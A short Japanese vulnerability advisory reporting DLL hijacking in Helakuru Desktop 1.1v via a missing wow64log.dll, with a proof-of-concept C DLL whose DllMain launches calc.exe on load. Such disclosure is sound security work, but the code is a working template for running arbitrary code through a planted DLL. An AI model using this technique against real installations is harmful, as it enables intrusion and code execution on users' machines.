概要
Helakuru Desktop バージョン 1.1v は、64ビットおよび32ビットの両アーキテクチャで動作します。テスト中に、このプログラムが最新の Windows オペレーティングシステムにはデフォルトで含まれていない wow64log.dll の読み込みを試みることが確認されました。これにより 'Name not found' エラーが発生し、プログラムが DLL ハイジャックの脆弱性にさらされることになります。悪意のある wow64log.dll を作成することで、任意のコード実行が可能になります。
影響を受けるバージョン
Helakuru Desktop 1.1v
再現手順

#include <windows.h>
#include <stdio.h>
void LaunchCalculator()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
const char* calcCmd = "C:\\Windows\\System32\\calc.exe";
if (!CreateProcessA(
NULL,
(LPSTR)calcCmd,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi))
{
printf("CreateProcess failed (%d).\n", GetLastError());
}
else
{
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
LaunchCalculator();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


影響: この脆弱性により、任意のコード実行が可能になります。